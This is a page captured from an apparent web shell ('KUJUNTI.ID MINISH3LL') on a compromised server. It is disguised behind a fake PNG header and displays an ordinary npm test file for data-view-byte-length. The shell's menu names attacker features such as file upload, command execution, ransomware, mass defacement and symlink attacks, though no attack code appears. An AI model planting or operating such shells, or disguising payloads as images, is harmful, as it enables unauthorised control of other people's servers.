\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/infraai.ai/frontend/node_modules/data-view-byte-length/test/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/infraai.ai/frontend/node_modules/data-view-byte-length/test/index.js


'use strict';

var test = require('tape');
var forEach = require('for-each');
var v = require('es-value-fixtures');
var inspect = require('object-inspect');

var dataViewByteLength = require('../');

test('dataViewByteLength', function (t) {
	forEach(
		// @ts-expect-error TS sucks at [].concat
		// eslint-disable-next-line no-extra-parens
		/** @type {[...typeof v.primitives, ...typeof v.objects]} */ ([].concat(v.primitives, v.objects)),
		function (nonDV) {
			t['throws'](function () { dataViewByteLength(nonDV); }, TypeError, inspect(nonDV) + ' is not a DataView');
		}
	);

	t.test('DataView', { skip: typeof DataView !== 'function' }, function (st) {
		var ab = new ArrayBuffer(42);
		var dv = new DataView(ab);

		st.equal(dataViewByteLength(dv), 42, inspect(dv) + ' has the same byteLength as the buffer originally passed to the DataView');
		st.equal(dataViewByteLength(dv), dv.buffer.byteLength, inspect(dv) + ' has the same byteLength as the buffer’s byteLength of its own buffer property');

		st.end();
	});

	t.end();
});

© KUJUNTI.ID